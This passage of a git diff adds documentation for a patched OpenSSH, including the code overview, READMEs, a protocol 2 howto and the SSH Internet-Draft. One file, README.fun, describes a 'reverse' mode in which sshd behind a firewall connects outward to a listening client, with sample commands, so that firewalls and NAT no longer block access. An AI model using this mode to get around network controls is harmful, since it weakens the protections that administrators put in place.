$(DESTDIR)$(mandir)/$(mansubdir)1/ssh.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/scp.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-add.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-agent.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-keygen.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)8/sshd.8 + -rm -f $(DESTDIR)$(bindir)/slogin + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/slogin.1 + -rm -f $(DESTDIR)${ASKPASS_PROGRAM} + -rmdir $(DESTDIR)$(libexecdir)/ssh ; diff --git a/other/openssh-reverse/OVERVIEW b/other/openssh-reverse/OVERVIEW new file mode 100644 index 0000000..7f34ac4 --- /dev/null +++ b/other/openssh-reverse/OVERVIEW @@ -0,0 +1,164 @@ +This document is intended for those who wish to read the ssh source +code. This tries to give an overview of the structure of the code. + +Copyright (c) 1995 Tatu Ylonen +Updated 17 Nov 1995. +Updated 19 Oct 1999 for OpenSSH-1.2 + +The software consists of ssh (client), sshd (server), scp, sdist, and +the auxiliary programs ssh-keygen, ssh-agent, ssh-add, and +make-ssh-known-hosts. The main program for each of these is in a .c +file with the same name. + +There are some subsystems/abstractions that are used by a number of +these programs. + + Buffer manipulation routines + + - These provide an arbitrary size buffer, where data can be appended. + Data can be consumed from either end. The code is used heavily + throughout ssh. The basic buffer manipulation functions are in + buffer.c (header buffer.h), and additional code to manipulate specific + data types is in bufaux.c. + + Compression Library + + - Ssh uses the GNU GZIP compression library (ZLIB). + + Encryption/Decryption + + - Ssh contains several encryption algorithms. These are all + accessed through the cipher.h interface. The interface code is + in cipher.c, and the implementations are in libc. + + Multiple Precision Integer Library + + - Uses the SSLeay BIGNUM sublibrary. + - Some auxiliary functions for mp-int manipulation are in mpaux.c. + + Random Numbers + + - Uses arc4random() and such. + + RSA key generation, encryption, decryption + + - Ssh uses the RSA routines in libssl. + + RSA key files + + - RSA keys are stored in files with a special format. The code to + read/write these files is in authfile.c. The files are normally + encrypted with a passphrase. The functions to read passphrases + are in readpass.c (the same code is used to read passwords). + + Binary packet protocol + + - The ssh binary packet protocol is implemented in packet.c. The + code in packet.c does not concern itself with packet types or their + execution; it contains code to build packets, to receive them and + extract data from them, and the code to compress and/or encrypt + packets. CRC code comes from crc32.c. + + - The code in packet.c calls the buffer manipulation routines + (buffer.c, bufaux.c), compression routines (compress.c, zlib), + and the encryption routines. + + X11, TCP/IP, and Agent forwarding + + - Code for various types of channel forwarding is in channels.c. + The file defines a generic framework for arbitrary communication + channels inside the secure channel, and uses this framework to + implement X11 forwarding, TCP/IP forwarding, and authentication + agent forwarding. + The new, Protocol 1.5, channel close implementation is in nchan.c + + Authentication agent + + - Code to communicate with the authentication agent is in authfd.c. + + Authentication methods + + - Code for various authentication methods resides in auth-*.c + (auth-passwd.c, auth-rh-rsa.c, auth-rhosts.c, auth-rsa.c). This + code is linked into the server. The routines also manipulate + known hosts files using code in hostfile.c. Code in canohost.c + is used to retrieve the canonical host name of the remote host. + Code in match.c is used to match host names. + + - In the client end, authentication code is in sshconnect.c. It + reads Passwords/passphrases using code in readpass.c. It reads + RSA key files with authfile.c. It communicates the + authentication agent using authfd.c. + + The ssh client + + - The client main program is in ssh.c. It first parses arguments + and reads configuration (readconf.c), then calls ssh_connect (in + sshconnect.c) to open a connection to the server (possibly via a + proxy), and performs authentication (ssh_login in sshconnect.c). + It then makes any pty, forwarding, etc. requests. It may call + code in ttymodes.c to encode current tty modes. Finally it + calls client_loop in clientloop.c. This does the real work for + the session. + + - The client is suid root. It tries to temporarily give up this + rights while reading the configuration data. The root + privileges are only used to make the connection (from a + privileged socket). Any extra privileges are dropped before + calling ssh_login. + + Pseudo-tty manipulation and tty modes + + - Code to allocate and use a pseudo tty is in pty.c. Code to + encode and set terminal modes is in ttymodes.c. + + Logging in (updating utmp, lastlog, etc.) + + - The code to do things that are done when a user logs in are in + login.c. This includes things such as updating the utmp, wtmp, + and lastlog files. Some of the code is in sshd.c. + + Writing to the system log and terminal + + - The programs use the functions fatal(), log(), debug(), error() + in many places to write messages to system log or user's + terminal. The implementation that logs to system log is in + log-server.c; it is used in the server program. The other + programs use an implementation that sends output to stderr; it + is in log-client.c. The definitions are in ssh.h. + + The sshd server (daemon) + + - The sshd daemon starts by processing arguments and reading the + configuration file (servconf.c). It then reads the host key, + starts listening for connections, and generates the server key. + The server key will be regenerated every hour by an alarm. + + - When the server receives a connection, it forks, disables the + regeneration alarm, and starts communicating with the client. + They first perform identification string exchange, then + negotiate encryption, then perform authentication, preparatory + operations, and finally the server enters the normal session + mode by calling server_loop in serverloop.c. This does the real + work, calling functions in other modules. + + - The code for the server is in sshd.c. It contains a lot of + stuff, including: + - server main program + - waiting for connections + - processing new connection + - authentication + - preparatory operations + - building up the execution environment for the user program + - starting the user program. + + Auxiliary files + + - There are several other files in the distribution that contain + various auxiliary routines: + ssh.h the main header file for ssh (various definitions) + getput.h byte-order independent storage of integers + includes.h includes most system headers. Lots of #ifdefs. + tildexpand.c expand tilde in file names + uidswap.c uid-swapping + xmalloc.c "safe" malloc routines diff --git a/other/openssh-reverse/README b/other/openssh-reverse/README new file mode 100644 index 0000000..54adb10 --- /dev/null +++ b/other/openssh-reverse/README @@ -0,0 +1,69 @@ +[ A Japanese translation of this document is available at +[ http://www.unixuser.org/%7Eharuyama/security/openssh/index.html +[ Thanks to HARUYAMA Seigo + +******* IMPORTANT +* On systmes which lack a /dev/random driver, version of this port +* prior to 1.2.2 were not correctly seeding OpenSSL's random number +* pool. This resulted in lower quality RSA keys being generated. If +* you generated host or user keys with v1.2.2 or previous versions, +* please generate new ones using a more recent version. + +This is the port of OpenBSD's excellent OpenSSH to Linux and other +Unices. + +OpenSSH is based on the last free version of Tatu Ylonen's SSH with +all patent-encumbered algorithms removed (to external libraries), all +known security bugs fixed, new features reintroduced and many other +clean-ups. More information about SSH itself can be found in the file +README.Ylonen. OpenSSH has been created by Aaron Campbell, Bob Beck, +Markus Friedl, Niels Provos, Theo de Raadt, and Dug Song. It has a +homepage at http://www.openssh.com/ + +This port consists of the re-introduction of autoconf support, PAM +support (for Linux and Solaris), EGD[1] support and replacements for +OpenBSD library functions that are (regrettably) absent from other +unices. This port has been best tested on Linux, Solaris, HPUX, NetBSD +and Irix. Support for AIX, SCO, NeXT and other Unices is underway. +This version actively tracks changes in the OpenBSD CVS repository. + +The PAM support is now more functional than the popular packages of +commercial ssh-1.2.x. It checks "account" and "session" modules for +all logins, not just when using password authentication. + +OpenSSH depends on Zlib[2], OpenSSL[3] and optionally PAM[4]. + +There is now several mailing lists for this port of OpenSSH. Please +refer to http://www.openssh.com/list.html for details on how to join. + +Please send bug reports and patches to the mailing list +openssh-unix-dev@mindrot.org. The list is open to posting by +unsubscribed users. + +If you are a citizen of the USA or another country which restricts +export of cryptographic products, then please refrain from sending +crypto-related code or patches to the list. We cannot accept them. +Other code contribution are accepted, but please follow the OpenBSD +style guidelines[5]. + +Please refer to the INSTALL document for information on how to install +OpenSSH on your system. The UPGRADING document details differences +between this port of OpenSSH and F-Secure SSH 1.x. + +Damien Miller +Internet Business Solutions + +Miscellania - + +This version of SSH is based upon code retrieved from the OpenBSD CVS +repository which in turn was based on the last free +version of SSH released by Tatu Ylonen. + +References - + +[1] http://www.lothar.com/tech/crypto/ +[2] ftp://ftp.freesoftware.com/pub/infozip/zlib/ +[3] http://www.openssl.org/ +[4] http://www.kernel.org/pub/linux/libs/pam/ (PAM is standard on Solaris) +[5] http://www.openbsd.org/cgi-bin/man.cgi?query=style&sektion=9&apropos=0&manpath=OpenBSD+Current + diff --git a/other/openssh-reverse/README.Ylonen b/other/openssh-reverse/README.Ylonen new file mode 100644 index 0000000..38987b9 --- /dev/null +++ b/other/openssh-reverse/README.Ylonen @@ -0,0 +1,567 @@ + +[ Please note that this file has not been updated for OpenSSH and + covers the ssh-1.2.12 release from Dec 1995 only. ] + +Ssh (Secure Shell) is a program to log into another computer over a +network, to execute commands in a remote machine, and to move files +from one machine to another. It provides strong authentication and +secure communications over insecure channels. It is inteded as a +replacement for rlogin, rsh, rcp, and rdist. + +See the file INSTALL for installation instructions. See COPYING for +license terms and other legal issues. See RFC for a description of +the protocol. There is a WWW page for ssh; see http://www.cs.hut.fi/ssh. + +This file has been updated to match ssh-1.2.12. + + +FEATURES + + o Strong authentication. Closes several security holes (e.g., IP, + routing, and DNS spoofing). New authentication methods: .rhosts + together with RSA based host authentication, and pure RSA + authentication. + + o Improved privacy. All communications are automatically and + transparently encrypted. RSA is used for key exchange, and a + conventional cipher (normally IDEA, DES, or triple-DES) for + encrypting the session. Encryption is started before + authentication, and no passwords or other information is + transmitted in the clear. Encryption is also used to protect + against spoofed packets. + + o Secure X11 sessions. The program automatically sets DISPLAY on + the server machine, and forwards any X11 connections over the + secure channel. Fake Xauthority information is automatically + generated and forwarded to the remote machine; the local client + automatically examines incoming X11 connections and replaces the + fake authorization data with the real data (never telling the + remote machine the real information). + + o Arbitrary TCP/IP ports can be redirected through the encrypted channel + in both directions (e.g., for e-cash transactions). + + o No retraining needed for normal users; everything happens + automatically, and old .rhosts files will work with strong + authentication if administration installs host key files. + + o Never trusts the network. Minimal trust on the remote side of + the connection. Minimal trust on domain name servers. Pure RSA + authentication never trusts anything but the private key. + + o Client RSA-authenticates the server machine in the beginning of + every connection to prevent trojan horses (by routing or DNS + spoofing) and man-in-the-middle attacks, and the server + RSA-authenticates the client machine before accepting .rhosts or + /etc/hosts.equiv authentication (to prevent DNS, routing, or + IP-spoofing). + + o Host authentication key distribution can be centrally by the + administration, automatically when the first connection is made + to a machine (the key obtained on the first connection will be + recorded and used for authentication in the future), or manually + by each user for his/her own use. The central and per-user host + key repositories are both used and complement each other. Host + keys can be generated centrally or automatically when the software + is installed. Host authentication keys are typically 1024 bits. + + o Any user can create any number of user authentication RSA keys for + his/her own use. Each user has a file which lists the RSA public + keys for which proof of possession of the corresponding private + key is accepted as authentication. User authentication keys are + typically 1024 bits. + + o The server program has its own server RSA key which is + automatically regenerated every hour. This key is never saved in + any file. Exchanged session keys are encrypted using both the + server key and the server host key. The purpose of the separate + server key is to make it impossible to decipher a captured session by + breaking into the server machine at a later time; one hour from + the connection even the server machine cannot decipher the session + key. The key regeneration interval is configurable. The server + key is normally 768 bits. + + o An authentication agent, running in the user's laptop or local + workstation, can be used to hold the user's RSA authentication + keys. Ssh automatically forwards the connection to the + authentication agent over any connections, and there is no need to + store the RSA authentication keys on any machine in the network + (except the user's own local machine). The authentication + protocols never reveal the keys; they can only be used to verify + that the user's agent has a certain key. Eventually the agent + could rely on a smart card to perform all authentication + computations. + + o The software can be installed and used (with restricted + functionality) even without root privileges. + + o The client is customizable in system-wide and per-user + configuration files. Most aspects of the client's operation can + be configured. Different options can be specified on a per-host basis. + + o Automatically executes conventional rsh (after displaying a + warning) if the server machine is not running sshd. + + o Optional compression of all data with gzip (including forwarded X11 + and TCP/IP port data), which may result in significant speedups on + slow connections. + + o Complete replacement for rlogin, rsh, and rcp. + + +WHY TO USE SECURE SHELL + +Currently, almost all communications in computer networks are done +without encryption. As a consequence, anyone who has access to any +machine connected to the network can listen in on any communication. +This is being done by hackers, curious administrators, employers, +criminals, industrial spies, and governments. Some networks leak off +enough electromagnetic radiation that data may be captured even from a +distance. + +When you log in, your password goes in the network in plain +text. Thus, any listener can then use your account to do any evil he +likes. Many incidents have been encountered worldwide where crackers +have started programs on workstations without the owners knowledge +just to listen to the network and collect passwords. Programs for +doing this are available on the Internet, or can be built by a +competent programmer in a few hours. + +Any information that you type or is printed on your screen can be +monitored, recorded, and analyzed. For example, an intruder who has +penetrated a host connected to a major network can start a program +that listens to all data flowing in the network, and whenever it +encounters a 16-digit string, it checks if it is a valid credit card +number (using the check digit), and saves the number plus any +surrounding text (to catch expiration date and holder) in a file. +When the intruder has collected a few thousand credit card numbers, he +makes smallish mail-order purchases from a few thousand stores around +the world, and disappears when the goods arrive but before anyone +suspects anything. + +Businesses have trade secrets, patent applications in preparation, +pricing information, subcontractor information, client data, personnel +data, financial information, etc. Currently, anyone with access to +the network (any machine on the network) can listen to anything that +goes in the network, without any regard to normal access restrictions. + +Many companies are not aware that information can so easily be +recovered from the network. They trust that their data is safe +since nobody is supposed to know that there is sensitive information +in the network, or because so much other data is transferred in the +network. This is not a safe policy. + +Individual persons also have confidential information, such as +diaries, love letters, health care documents, information about their +personal interests and habits, professional data, job applications, +tax reports, political documents, unpublished manuscripts, etc. + +One should also be aware that economical intelligence and industrial +espionage has recently become a major priority of the intelligence +agencies of major governments. President Clinton recently assigned +economical espionage as the primary task of the CIA, and the French +have repeatedly been publicly boasting about their achievements on +this field. + + +There is also another frightening aspect about the poor security of +communications. Computer storage and analysis capability has +increased so much that it is feasible for governments, major +companies, and criminal organizations to automatically analyze, +identify, classify, and file information about millions of people over +the years. Because most of the work can be automated, the cost of +collecting this information is getting very low. + +Government agencies may be able to monitor major communication +systems, telephones, fax, computer networks, etc., and passively +collect huge amounts of information about all people with any +significant position in the society. Most of this information is not +sensitive, and many people would say there is no harm in someone +getting that information. However, the information starts to get +sensitive when someone has enough of it. You may not mind someone +knowing what you bought from the shop one random day, but you might +not like someone knowing every small thing you have bought in the last +ten years. + +If the government some day starts to move into a more totalitarian +direction (one should remember that Nazi Germany was created by +democratic elections), there is considerable danger of an ultimate +totalitarian state. With enough information (the automatically +collected records of an individual can be manually analyzed when the +person becomes interesting), one can form a very detailed picture of +the individual's interests, opinions, beliefs, habits, friends, +lovers, weaknesses, etc. This information can be used to 1) locate +any persons who might oppose the new system 2) use deception to +disturb any organizations which might rise against the government 3) +eliminate difficult individuals without anyone understanding what +happened. Additionally, if the government can monitor communications +too effectively, it becomes too easy to locate and eliminate any +persons distributing information contrary to the official truth. + +Fighting crime and terrorism are often used as grounds for domestic +surveillance and restricting encryption. These are good goals, but +there is considerable danger that the surveillance data starts to get +used for questionable purposes. I find that it is better to tolerate +a small amount of crime in the society than to let the society become +fully controlled. I am in favor of a fairly strong state, but the +state must never get so strong that people become unable to spread +contra-offical information and unable to overturn the government if it +is bad. The danger is that when you notice that the government is +too powerful, it is too late. Also, the real power may not be where +the official government is. + +For these reasons (privacy, protecting trade secrets, and making it +more difficult to create a totalitarian state), I think that strong +cryptography should be integrated to the tools we use every day. +Using it causes no harm (except for those who wish to monitor +everything), but not using it can cause huge problems. If the society +changes in undesirable ways, then it will be to late to start +encrypting. + +Encryption has had a "military" or "classified" flavor to it. There +are no longer any grounds for this. The military can and will use its +own encryption; that is no excuse to prevent the civilians from +protecting their privacy and secrets. Information on strong +encryption is available in every major bookstore, scientific library, +and patent office around the world, and strong encryption software is +available in every country on the Internet. + +Some people would like to make it illegal to use encryption, or to +force people to use encryption that governments can break. This +approach offers no protection if the government turns bad. Also, the +"bad guys" will be using true strong encryption anyway. Good +encryption techniques are too widely known to make them disappear. +Thus, any "key escrow encryption" or other restrictions will only help +monitor ordinary people and petty criminals. It does not help against +powerful criminals, terrorists, or espionage, because they will know +how to use strong encryption anyway. (One source for internationally +available encryption software is http://www.cs.hut.fi/crypto.) + + +OVERVIEW OF SECURE SHELL + +The software consists of a number of programs. + + sshd Server program run on the server machine. This + listens for connections from client machines, and + whenever it receives a connection, it performs + authentication and starts serving the client. + + ssh This is the client program used to log into another + machine or to execute commands on the other machine. + "slogin" is another name for this program. + + scp Securely copies files from one machine to another. + + ssh-keygen Used to create RSA keys (host keys and user + authentication keys). + + ssh-agent Authentication agent. This can be used to hold RSA + keys for authentication. + + ssh-add Used to register new keys with the agent. + + make-ssh-known-hosts + Used to create the /etc/ssh_known_hosts file. + + +Ssh is the program users normally use. It is started as + + ssh host + +or + + ssh host command + +The first form opens a new shell on the remote machine (after +authentication). The latter form executes the command on the remote +machine. + +When started, the ssh connects sshd on the server machine, verifies +that the server machine really is the machine it wanted to connect, +exchanges encryption keys (in a manner which prevents an outside +listener from getting the keys), performs authentication using .rhosts +and /etc/hosts.equiv, RSA authentication, or conventional password +based authentication. The server then (normally) allocates a +pseudo-terminal and starts an interactive shell or user program. + +The TERM environment variable (describing the type of the user's +terminal) is passed from the client side to the remote side. Also, +terminal modes will be copied from the client side to the remote side +to preserve user preferences (e.g., the erase character). + +If the DISPLAY variable is set on the client side, the server will +create a dummy X server and set DISPLAY accordingly. Any connections +to the dummy X server will be forwarded through the secure channel, +and will be made to the real X server from the client side. An +arbitrary number of X programs can be started during the session, and +starting them does not require anything special from the user. (Note +that the user must not manually set DISPLAY, because then it would +connect directly to the real display instead of going through the +encrypted channel). This behavior can be disabled in the +configuration file or by giving the -x option to the client. + +Arbitrary IP ports can be forwarded over the secure channel. The +program then creates a port on one side, and whenever a connection is +opened to this port, it will be passed over the secure channel, and a +connection will be made from the other side to a specified host:port +pair. Arbitrary IP forwarding must always be explicitly requested, +and cannot be used to forward privileged ports (unless the user is +root). It is possible to specify automatic forwards in a per-user +configuration file, for example to make electronic cash systems work +securely. + +If there is an authentication agent on the client side, connection to +it will be automatically forwarded to the server side. + +For more infomation, see the manual pages ssh(1), sshd(8), scp(1), +ssh-keygen(1), ssh-agent(1), ssh-add(1), and make-ssh-known-hosts(1) +included in this distribution. + + +X11 CONNECTION FORWARDING + +X11 forwarding serves two purposes: it is a convenience to the user +because there is no need to set the DISPLAY variable, and it provides +encrypted X11 connections. I cannot think of any other easy way to +make X11 connections encrypted; modifying the X server, clients or +libraries would require special work for each machine, vendor and +application. Widely used IP-level encryption does not seem likely for +several years. Thus what we have left is faking an X server on the +same machine where the clients are run, and forwarding the connections +to a real X server over the secure channel. + +X11 forwarding works as follows. The client extracts Xauthority +information for the server. It then creates random authorization +data, and sends the random data to the server. The server allocates +an X11 display number, and stores the (fake) Xauthority data for this +display. Whenever an X11 connection is opened, the server forwards +the connection over the secure channel to the client, and the client +parses the first packet of the X11 protocol, substitutes real +authentication data for the fake data (if the fake data matched), and +forwards the connection to the real X server. + +If the display does not have Xauthority data, the server will create a +unix domain socket in /tmp/.X11-unix, and use the unix domain socket +as the display. No authentication information is forwarded in this +case. X11 connections are again forwarded over the secure channel. +To the X server the connections appear to come from the client +machine, and the server must have connections allowed from the local +machine. Using authentication data is always recommended because not +using it makes the display insecure. If XDM is used, it automatically +generates the authentication data. + +One should be careful not to use "xin" or "xstart" or other similar +scripts that explicitly set DISPLAY to start X sessions in a remote +machine, because the connection will then not go over the secure +channel. The recommended way to start a shell in a remote machine is + + xterm -e ssh host & + +and the recommended way to execute an X11 application in a remote +machine is + + ssh -n host emacs & + +If you need to type a password/passphrase for the remote machine, + + ssh -f host emacs + +may be useful. + + + +RSA AUTHENTICATION + +RSA authentication is based on public key cryptograpy. The idea is +that there are two encryption keys, one for encryption and another for +decryption. It is not possible (on human timescale) to derive the +decryption key from the encryption key. The encryption key is called +the public key, because it can be given to anyone and it is not +secret. The decryption key, on the other hand, is secret, and is +called the private key. + +RSA authentication is based on the impossibility of deriving the +private key from the public key. The public key is stored on the +server machine in the user's $HOME/.ssh/authorized_keys file. The +private key is only kept on the user's local machine, laptop, or other +secure storage. Then the user tries to log in, the client tells the +server the public key that the user wishes to use for authentication. +The server then checks if this public key is admissible. If so, it +generates a 256 bit random number, encrypts it with the public key, +and sends the value to the client. The client then decrypts the +number with its private key, computes a 128 bit MD5 checksum from the +resulting data, and sends the checksum back to the server. (Only a +checksum is sent to prevent chosen-plaintext attacks against RSA.) +The server checks computes a checksum from the correct data, +and compares the checksums. Authentication is accepted if the +checksums match. (Theoretically this indicates that the client +only probably knows the correct key, but for all practical purposes +there is no doubt.) + +The RSA private key can be protected with a passphrase. The +passphrase can be any string; it is hashed with MD5 to produce an +encryption key for IDEA, which is used to encrypt the private part of +the key file. With passphrase, authorization requires access to the key +file and the passphrase. Without passphrase, authorization only +depends on possession of the key file. + +RSA authentication is the most secure form of authentication supported +by this software. It does not rely on the network, routers, domain +name servers, or the client machine. The only thing that matters is +access to the private key. + +All this, of course, depends on the security of the RSA algorithm +itself. RSA has been widely known since about 1978, and no effective +methods for breaking it are known if it is used properly. Care has +been taken to avoid the well-known pitfalls. Breaking RSA is widely +believed to be equivalent to factoring, which is a very hard +mathematical problem that has received considerable public research. +So far, no effective methods are known for numbers bigger than about +512 bits. However, as computer speeds and factoring methods are +increasing, 512 bits can no longer be considered secure. The +factoring work is exponential, and 768 or 1024 bits are widely +considered to be secure in the near future. + + +RHOSTS AUTHENTICATION + +Conventional .rhosts and hosts.equiv based authentication mechanisms +are fundamentally insecure due to IP, DNS (domain name server) and +routing spoofing attacks. Additionally this authentication method +relies on the integrity of the client machine. These weaknesses is +tolerable, and been known and exploited for a long time. + +Ssh provides an improved version of these types of authentication, +because they are very convenient for the user (and allow easy +transition from rsh and rlogin). It permits these types of +authentication, but additionally requires that the client host be +authenticated using RSA. + +The server has a list of host keys stored in /etc/ssh_known_host, and +additionally each user has host keys in $HOME/.ssh/known_hosts. Ssh +uses the name servers to obtain the canonical name of the client host, +looks for its public key in its known host files, and requires the +client to prove that it knows the private host key. This prevents IP +and routing spoofing attacks (as long as the client machine private +host key has not been compromized), but is still vulnerable to DNS +attacks (to a limited extent), and relies on the integrity of the +client machine as to who is requesting to log in. This prevents +outsiders from attacking, but does not protect against very powerful +attackers. If maximal security is desired, only RSA authentication +should be used. + +It is possible to enable conventional .rhosts and /etc/hosts.equiv +authentication (without host authentication) at compile time by giving +the option --with-rhosts to configure. However, this is not +recommended, and is not done by default. + +These weaknesses are present in rsh and rlogin. No improvement in +security will be obtained unless rlogin and rsh are completely +disabled (commented out in /etc/inetd.conf). This is highly +recommended. + + +WEAKEST LINKS IN SECURITY + +One should understand that while this software may provide +cryptographically secure communications, it may be easy to +monitor the communications at their endpoints. + +Basically, anyone with root access on the local machine on which you +are running the software may be able to do anything. Anyone with root +access on the server machine may be able to monitor your +communications, and a very talented root user might even be able to +send his/her own requests to your authentication agent. + +One should also be aware that computers send out electromagnetic +radition that can sometimes be picked up hundreds of meters away. +Your keyboard is particularly easy to listen to. The image on your +monitor might also be seen on another monitor in a van parked behind +your house. + +Beware that unwanted visitors might come to your home or office and +use your machine while you are away. They might also make +modifications or install bugs in your hardware or software. + +Beware that the most effective way for someone to decrypt your data +may be with a rubber hose. + + +LEGAL ISSUES + +As far as I am concerned, anyone is permitted to use this software +freely. However, see the file COPYING for detailed copying, +licensing, and distribution information. + +In some countries, particularly France, Russia, Iraq, and Pakistan, +it may be illegal to use any encryption at all without a special +permit, and the rumor has it that you cannot get a permit for any +strong encryption. + +This software may be freely imported into the United States; however, +the United States Government may consider re-exporting it a criminal +offence. + +Note that any information and cryptographic algorithms used in this +software are publicly available on the Internet and at any major +bookstore, scientific library, or patent office worldwide. + +THERE IS NO WARRANTY FOR THIS PROGRAM. Please consult the file +COPYING for more information. + + +MAILING LISTS AND OTHER INFORMATION + +There is a mailing list for ossh. It is ossh@sics.se. If you would +like to join, send a message to majordomo@sics.se with "subscribe +ssh" in body. + +The WWW home page for ssh is http://www.cs.hut.fi/ssh. It contains an +archive of the mailing list, and detailed information about new +releases, mailing lists, and other relevant issues. + +Bug reports should be sent to ossh-bugs@sics.se. + + +ABOUT THE AUTHOR + +This software was written by Tatu Ylonen . I work as a +researcher at Helsinki University of Technology, Finland. For more +information, see http://www.cs.hut.fi/~ylo/. My PGP public key is +available via finger from ylo@cs.hut.fi and from the key servers. I +prefer PGP encrypted mail. + +The author can be contacted via ordinary mail at + Tatu Ylonen + Helsinki University of Technology + Otakaari 1 + FIN-02150 ESPOO + Finland + + Fax. +358-0-4513293 + + +ACKNOWLEDGEMENTS + +I thank Tero Kivinen, Timo Rinne, Janne Snabb, and Heikki Suonsivu for +their help and comments in the design, implementation and porting of +this software. I also thank numerous contributors, including but not +limited to Walker Aumann, Jurgen Botz, Hans-Werner Braun, Stephane +Bortzmeyer, Adrian Colley, Michael Cooper, David Dombek, Jerome +Etienne, Bill Fithen, Mark Fullmer, Bert Gijsbers, Andreas Gustafsson, +Michael Henits, Steve Johnson, Thomas Koenig, Felix Leitner, Gunnar +Lindberg, Andrew Macpherson, Marc Martinec, Paul Mauvais, Donald +McKillican, Leon Mlakar, Robert Muchsel, Mark Treacy, Bryan +O'Sullivan, Mikael Suokas, Ollivier Robert, Jakob Schlyter, Tomasz +Surmacz, Alvar Vinacua, Petri Virkkula, Michael Warfield, and +Cristophe Wolfhugel. + +Thanks also go to Philip Zimmermann, whose PGP software and the +associated legal battle provided inspiration, motivation, and many +useful techniques, and to Bruce Schneier whose book Applied +Cryptography has done a great service in widely distributing knowledge +about cryptographic methods. + + +Copyright (c) 1995 Tatu Ylonen, Espoo, Finland. diff --git a/other/openssh-reverse/README.fun b/other/openssh-reverse/README.fun new file mode 100644 index 0000000..b696aca --- /dev/null +++ b/other/openssh-reverse/README.fun @@ -0,0 +1,51 @@ +Enabling reverse fun +==================== + +Reverse fun was 'invented' to allow users outside firewalls (which deny +any incoming connects) or users behind masquerading routers to use ssh. +In december 1999 on the Chaos Congress we faced the problem that the whole +network was NATed and therefore nobody could connect to one of our +ssh-servers. Dream-team TESO solved this problem by using scut's excellent +'reverb' which mapped two active connections together and brought +the client into internal network. I was very impressed and half a year +after I patched OpenSSH to allow such things to happen without use of +'third-party'-software. :) + +How it works +------------ + +When having reverse fun, the server (sshd) act's indeed as client and brings +a connect to the now-server 'ssh' outside the firewall. SSH-protocol +negotiation goes as normal then, and the user of ssh-client sees +no difference as if (s)he would do the connect normally. +Since the ssh-client acts as server until connect arrives, +it blocks the user's terminal until a person (or crond:) behind the +firewall initiates the connection. + +Security +-------- + +During reverse fun, the server must authenticate itself using +the host-key as usual, so you can be sure the right connection arrived when +no warning-message is placed on the screen. +Since ssh-client runs setuid-root, reverse fun might be a danger (high-port +bindings etc.). I've written it just for fun, and you propably shouldn't +run this patched OpenSSH on production-machines. + +IPv6 support is built in, but not tested. + + +Samples +------- + +client: + sshd -r foobar -p 7350 to connect to foobar:7350 where a client must listen + +server: + ssh -r -p 7350 to wait for incoming connects on port 7350 + + +When you have other funny idea's how to turn world upside down +with programming tricks, contact me: krahmer@cs.uni-potsdam.de + +-Sebastian diff --git a/other/openssh-reverse/README.openssh2 b/other/openssh-reverse/README.openssh2 new file mode 100644 index 0000000..12c90aa --- /dev/null +++ b/other/openssh-reverse/README.openssh2 @@ -0,0 +1,44 @@ +$Id: README.openssh2,v 1.8 2000/05/07 18:30:03 markus Exp $ + +howto: + 1) generate server key: + $ ssh-keygen -d -f /etc/ssh_host_dsa_key -N '' + 2) enable ssh2: + server: add 'Protocol 2,1' to /etc/sshd_config + client: ssh -o 'Protocol 2,1', or add to .ssh/config + 3) DSA authentication similar to RSA (add keys to ~/.ssh/authorized_keys2) + interop w/ ssh.com dsa-keys: + ssh-keygen -f /key/from/ssh.com -X >> ~/.ssh/authorized_keys2 + and vice versa + ssh-keygen -f /privatekey/from/openssh -x > ~/.ssh2/mykey.pub + echo Key mykey.pub >> ~/.ssh2/authorization + +works: + secsh-transport: works w/o rekey + proposal exchange, i.e. different enc/mac/comp per direction + encryption: blowfish-cbc, 3des-cbc, arcfour, cast128-cbc + mac: hmac-md5, hmac-sha1, (hmac-ripemd160) + compression: zlib, none + secsh-userauth: passwd and pubkey with DSA + secsh-connection: pty+shell or command, flow control works (window adjust) + tcp-forwarding: -L works, -R incomplete + x11-fwd + dss/dsa: host key database in ~/.ssh/known_hosts2 + client interops w/ sshd2, lshd + server interops w/ ssh2, lsh, ssh.com's Windows client, SecureCRT, F-Secure SSH Client 4.0, SecureFX (secure ftp) + server supports multiple concurrent sessions (e.g. with SSH.com Windows client) +todo: + re-keying + secsh-connection features: + tcp-forwarding, agent-fwd + auth other than passwd, and DSA-pubkey: + keyboard-interactive, (PGP-pubkey?) + config + server-auth w/ old host-keys + cleanup + advanced key storage? + keynote + sftp + +-markus +$Date: 2000/05/07 18:30:03 $ diff --git a/other/openssh-reverse/RFC.nroff b/other/openssh-reverse/RFC.nroff new file mode 100644 index 0000000..dccc954 --- /dev/null +++ b/other/openssh-reverse/RFC.nroff @@ -0,0 +1,1780 @@ +.\" -*- nroff -*- +.\" +.\" $Id: RFC.nroff,v 1.1 1999/09/26 20:53:32 deraadt Exp $ +.\" +.pl 10.0i +.po 0 +.ll 7.2i +.lt 7.2i +.nr LL 7.2i +.nr LT 7.2i +.ds LF Ylonen +.ds RF FORMFEED[Page %] +.ds CF +.ds LH Internet-Draft +.ds RH 15 November 1995 +.ds CH SSH (Secure Shell) Remote Login Protocol +.na +.hy 0 +.in 0 +Network Working Group T. Ylonen +Internet-Draft Helsinki University of Technology +draft-ylonen-ssh-protocol-00.txt 15 November 1995 +Expires: 15 May 1996 + +.in 3 + +.ce +The SSH (Secure Shell) Remote Login Protocol + +.ti 0 +Status of This Memo + +This document is an Internet-Draft. Internet-Drafts are working +documents of the Internet Engineering Task Force (IETF), its areas, +and its working groups. Note that other groups may also distribute +working documents as Internet-Drafts. + +Internet-Drafts are draft documents valid for a maximum of six +months and may be updated, replaced, or obsoleted by other docu- +ments at any time. It is inappropriate to use Internet-Drafts as +reference material or to cite them other than as ``work in pro- +gress.'' + +To learn the current status of any Internet-Draft, please check the +``1id-abstracts.txt'' listing contained in the Internet- Drafts Shadow +Directories on ftp.is.co.za (Africa), nic.nordu.net (Europe), +munnari.oz.au (Pacific Rim), ds.internic.net (US East Coast), or +ftp.isi.edu (US West Coast). + +The distribution of this memo is unlimited. + +.ti 0 +Introduction + +SSH (Secure Shell) is a program to log into another computer over a +network, to execute commands in a remote machine, and to move files +from one machine to another. It provides strong authentication and +secure communications over insecure networks. Its features include +the following: +.IP o +Closes several security holes (e.g., IP, 